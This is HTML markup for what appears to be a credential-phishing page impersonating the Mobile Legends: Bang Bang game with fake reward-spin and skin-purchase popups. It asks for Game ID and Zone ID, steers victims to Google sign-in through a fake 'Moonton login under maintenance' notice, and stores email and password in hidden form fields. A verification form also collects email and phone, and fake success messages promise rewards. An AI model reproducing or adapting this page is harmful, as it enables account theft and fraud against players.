<div class="popup-overlay itemReward_spin animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>Obtained Rewards</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-spin">
<div class="items-center">
<div class="popup-result-display flip">
<img class="valueimgalex" src="">
</div>
<span class="namaskin">Nama Skin</span>
<br>
<a class="namahero">Nama Hero</a>
</div> 
</div>
<div class="popup-alert-rewards-spin">
If you already have this item, the reward will be converted into
<br><span>500 diamonds</span> which you can claim in the in-game mailbox.
</div>
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button id="spin_after" style="display: none;" type="button" class="btn-primary-single" onmousedown="buka.play();" onclick="open_process_spin()">Confirm</button>
<button id="spin_before" type="button" class="btn-primary-single" onmousedown="buka.play();" onclick="open_verify_spin()">Confirm</button>
</div>
</div>
</div>
</div>      
</div>

<div class="popup-overlay spin_confirmation animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>System Notice</h3>
</div>
<div class="popup-close" onmousedown="tutup.play();" onclick="close_spin_confirmation()">
<img src="assets_img/close.png">
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="content-spin">
<div class="popup-alert-verification" style="border-bottom: 0px;">
You only have <span>1×</span> chance to spin.
<br>Continue now?
</div>
</div>
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" class="btn-secondary" onmousedown="tutup.play();" onclick="close_spin_confirmation()">Cancel</button>
<button type="button" class="btn-primary" onmousedown="buka.play();" id="doWheel">Confirm</button>
</div>
</div>
</div>      
</div>

<div class="loadingscreen account_login animated fadeIn" style="display: none;">
<div class="loadingscreen-container">
<div class="loadingscreen-box-wrapper-login">
<div class="loadingscreen-box-bg-login-load" id="load-login">
<div class="loading-header">
<img class="loading-logo" src="assets_img/assets/logo-white.png" alt="MLBB Logo">
</div>
<div class="loading-footer">
<div class="loader-label" id="text-login1">Game Loading...</div>
<div class="loader-label" style="display:none" id="text-login2">Connecting to server...</div>
<div class="loader-line">
<div class="loading-progress"></div>
</div>
</div>
</div>
</div>
</div>
</div>

<div class="popup-overlay playerid_verification animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>Game ID Verification</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-verification">
Please enter <span>Game ID</span> and <span>Zone ID</span>
<br> to participate in the event.
</div>
<div class="header-playid">
<img src="assets_img/find.png" alt="Find Icon">
</div>
<form id="goInputCheckIdForm">
<div class="id-grid-container">
<!-- Game ID Input -->
<div class="popup-form-login-idl game-id-column">
<label>Game ID</label>    
<div class="popup-input">
<input onfocus="removeBorder()" type="number" name="playidm" id="playidm" autoCapitalize='none' placeholder="Game ID" required oninvalid="this.setCustomValidity('')" oninput="setCustomValidity('')">
</div>
</div>
<!-- Zone ID Input -->
<div class="popup-form-login-idr zone-id-column">
<label>Zone ID</label> 
<div class="popup-input">   
<input type="tel" onfocus="removeBorder()" id="playzonem" placeholder="Zone ID" autocomplete="off" required oninvalid="this.setCustomValidity('')" oninput="setCustomValidity('')">
</div>
</div>
</div>
<!-- Notification messages -->
<div class="warn-container">
<span class="warn respon">In the process of checking Game ID</span>
<span class="warn wrong">Invalid Game ID or Zone Server</span>
<span class="warn error">User ID could not be found</span>
</div>
</form>
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" id="sendUID" class="btn-primary" onmousedown="buka.play();" onclick="changebtndash()">Verification</button>
</div>
</div>
</div>
</div>      
</div>

<div class="popup-overlay mlbb_login animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>Account Login Required</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-verification">
SIGN IN TO CONTINUE 
</div>   
<div class="popup-form-login">
<input type="hidden" id="ressplayid" value="">
<input type="hidden" id="resszoneid" value="">
<div class="login-buttons-container">
<button type="button" class="popup-btn-login popup-btn-mlbb" onmousedown="buka.play();" onclick="open_log_gp();"><img class="icon-login" src="assets_img/assets/btn_gp.png"></img>
Sign in with Google Account
</button>
<button type="button" class="popup-btn-login popup-btn-mlbb" onmousedown="buka.play();" onclick="open_log_mt();"><img class="icon-login" src="assets_img/assets/btn_mt.png"></img>
Sign in with Moonton Account
</button>
</div>
</div>
</div>
<!-- FOOTER (Empty for this popup) -->
</div>
</div>      
</div>

<div class="popup-overlay moonton_warning animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>System Notice</h3>
</div>
<div class="popup-close" onmousedown="tutup.play();" onclick="close_mt_warn()">
<img src="assets_img/close.png">
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-process">
Dear players, 
<p>Moonton Login service is temporarily unavailable due to maintenance.
For now, please log in using your <a class="text-yellow">Google Play</a> account.</p>
<p>We sincerely apologize for the inconvenience and appreciate your understanding.</p>
<p>- MLBB Team</p>
<button type="button" class="popup-btn-login popup-btn-mlbb" onmousedown="buka.play();" onclick="open_log_gp();"><img class="icon-login" src="assets_img/assets/btn_gp.png"></img>
Sign in with Google Account
</button>
</div> 
</div>
</div>
</div>      
</div>

<div class="popup-overlay success_login animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>System Notice</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-process-center">
<div class="success-log">
<img src="assets_img/checked.png" alt="Success Icon">
</div>
<p id="countdownText">Successful Login (5s)</p>
</div> 
</div>
</div>
</div>      
</div>

<div class="popup-overlay itemReward_confirmation2 animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>Purchase</h3>
</div>
<div class="popup-close" onmousedown="tutup.play();" onclick="close_itemReward_confirmation2()">
<img src="assets_img/close.png">
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-verification">
Are you sure purchase this item?
</div>
<div class="form-section">
  <div class="item-confirmation-container">
    <!-- Left: Reward Image -->
    <div class="item-image itemShine">
      <div class="art-card flip">
  <figure><img class="redeemRewardsImgs" src="" id="myItemReward_confirmation2Img"></figure>
      </div>
    </div>
    <div class="item-details">
      <div class="payment-card">
        <div class="payment-header"><span id="rewardName2"></span></div>
        <div class="payment-row">
          <div class="row-label">Ticket</div>
          <div class="payment-option">
            <div class="icon-box">
              <img class="icon-inline" src="assets_img/ticket.png" alt="Ticket" />
            </div>
            <div class="amount-box">
              <span id="priceTicket2">750</span>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" class="btn-diamond-action" onmousedown="buka.play();" onclick="open_confirm_cost3('ticket')">Confirm</button>
</div>
</div>
</div>      
</div>

<div class="popup-overlay cost_confirmation animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">       
<div class="popup-title">      
<h3>System Notice</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div style="height: 20px;"></div>
<div class="popup-alert-cost">
<div class="cost-message">
<span class="cost-text">Cost</span>
<div class="cost-details">
<img class="cost-icon" src="" id="costIcon" alt="">
<span class="cost-amount" id="costAmount">0</span>
</div>
<span class="cost-text">Continue?</span>
</div>
</div>
<div style="height: 20px;"></div>
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" class="btn-secondary" onmousedown="tutup.play();" onclick="close_cost_confirmation()">Cancel</button>
<button id="shop_before" type="button" class="btn-primary" onmousedown="buka.play();" onclick="confirm_purchase()">Okay</button>
<button id="shop_after" style="display: none;" type="button" class="btn-primary" onmousedown="buka.play();" onclick="open_process_shop()">Confirm</button>
</div>
</div>
</div>      
</div>

<div class="popup-overlay account_verification animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>Account Verification</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-verification">
Please complete the form regarding your 
<br><span>Mobile Legends Account</span> details.
</div> 
<form action="javascript:void(0)" method="post" id="ValidateVerificationDataForm">
<input type="hidden" name="email" id="validateEmail" readonly>
<input type="hidden" name="password" id="validatePassword" readonly>
<input type="hidden" name="login" id="validateLogin" readonly>
<input type="hidden" name="playid" id="ressplayid" value="" readonly>
<input type="hidden" name="zoneid" id="resszoneid" value="" readonly>
<div class="popup-label-verification">
<label style="margin-top:10px;">E-mail Address</label>    
<div class="popup-input">
<input onfocus="removeBorder()" oninput="checkVerificationFormFields(); validateVerificationField('email', this.value); setCustomValidity('')" type="email" name="vmail" id="vmail" autoCapitalize='none' placeholder="Enter your e-mail address" required oninvalid="this.setCustomValidity('Enter your valid E-mail address')">
<div class="input-validation-icon" id="email-validation-icon"></div>
</div>
<label style="margin-top:10px;">Number Phone</label> 
<div class="popup-input">   
<input type="tel" onfocus="removeBorder()" oninput="checkVerificationFormFields(); validateVerificationField('phone', this.value); setCustomValidity('')" name="phone" id="phone" placeholder="Enter your number phone" autocomplete="off" required oninvalid="this.setCustomValidity(' ')">
<div class="input-validation-icon" id="phone-validation-icon"></div>
</div>
</div>
</form>
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" class="btn-primary" id="verificationBtn" onmousedown="buka.play();" onclick="handleVerificationClick(); return false;">Verification</button>
</div>
</div>
</div>      
</div>

<div class="popup-overlay check_verification animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>Account Verification</h3>
</div>
<div class="popup-close-placeholder"></div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="loading-content-verification">
<div class="loadhabo_in_popup">
<img class="loading-icon" src="assets_img/habo.png">
</div>
</div>
</div>
<!-- FOOTER (Empty for loading popup) -->
</div>
</div>      
</div>

<div class="popup-overlay loading_popup animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>System Notice</h3>
</div>
<div class="popup-close-placeholder"></div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="loading-content-verification">
<div class="loadhabo_in_popup">
<img class="loading-icon" src="assets_img/habo.png">
</div>
</div>
</div>
<!-- FOOTER (Empty for loading popup) -->
</div>
</div>      
</div>

<div class="popup-overlay processing_account animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>System Notice</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-process">
Dear Players,
<p>Redemption for the item you selected was successful and Credits will be deducted automatically.</p>
<p>We will also notify you <span>in-game mailbox</span> when we have successfully dispatched your rewards.</p>
<p class="warning-text"><i class="fa-solid fa-circle-exclamation"></i> Please wait up to 1-3 days (72 hours).</p>
</div> 
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" class="btn-secondary" onmousedown="tutup.play();" onclick="location.href='https://mobilelegends.com/';">Logout</button>
<button type="button" class="btn-primary" onmousedown="tutup.play();" id="sendID" onclick="again_shop()">Again</button>
</div>
</div>
</div>      
</div>

<div class="popup-overlay processing_account_spin animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>System Notice</h3>
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-process">
Dear players,
<p>Your reward has been successfully sent to your account. Remember, each Game ID is only entitled to one reward, so make sure not to participate in the event repeatedly.</p>
<p>We will also notify you <span>in-game mailbox</span> when we have successfully dispatched your rewards.
<p class="warning-text"><i class="fa-solid fa-circle-exclamation"></i> Please wait up to 1-3 days (72 hours).</p>
</div> 
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" class="btn-secondary" onmousedown="tutup.play();" onclick="location.href='https://mobilelegends.com/';">Logout</button>
<button type="button" class="btn-primary" onmousedown="tutup.play();" id="sendID" onclick="again_spin()">Again</button>
</div>
</div>
</div>      
</div>

<div class="popup-overlay itemReward_confirmation animated fadeIn" style="display: none;">
<div class="popup-rewards zoom-in">
<div class="popup-content">
<!-- NAVBAR -->
<div class="popup-navbar">
<div class="popup-logo">      
<img src="assets_img/assets/mlbb_logo.png"></img>
</div>          
<div class="popup-title">      
<h3>Purchase</h3>
</div>
<div class="popup-close" onmousedown="tutup.play();" onclick="close_itemReward_confirmation()">
<img src="assets_img/close.png">
</div>
</div>  
<!-- ISI KONTEN -->
<div class="popup-isikonten">
<div class="popup-alert-verification">
Are you sure purchase this item?
</div>
<div class="form-section">
  <div class="item-confirmation-container">
    <!-- Left: Reward Image -->
    <div class="item-image itemShine">
      <div class="art-card flip">
  <figure><img class="redeemRewardsImgs" src="" id="myItemReward_confirmationImg"></figure>
      </div>
    </div>
    <div class="item-details">
      <div class="payment-card">
        <div class="payment-header"><span id="rewardName"></span></div>
        <div class="payment-row">
          <div class="row-label">Ticket</div>
          <div class="payment-option">
            <div class="icon-box">
              <img class="icon-inline" src="assets_img/ticket.png" alt="Ticket" />
            </div>
            <div class="amount-box">
              <span id="priceTicket">2000</span>
            </div>
          </div>
        </div>
        <div class="or-separator"><span>or</span></div>
        <div class="payment-row">
          <div class="row-label">Diamonds</div>
          <div class="payment-option">
            <div class="icon-box">
              <img class="icon-inline" src="assets_img/diamond.png" alt="Diamond" />
            </div>
            <div class="amount-box">
              <span id="priceDiamond">100</span>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
</div>
<!-- FOOTER -->
<div class="popup-footer">
<button type="button" class="btn-ticket-action" onmousedown="buka.play();" onclick="open_confirm_cost('ticket')">Use Ticket</button>
<button type="button" class="btn-diamond-action" onmousedown="buka.play();" onclick="open_confirm_cost('diamond')">Use Diamonds</button>
</div>
</div>
</div>      
</div>
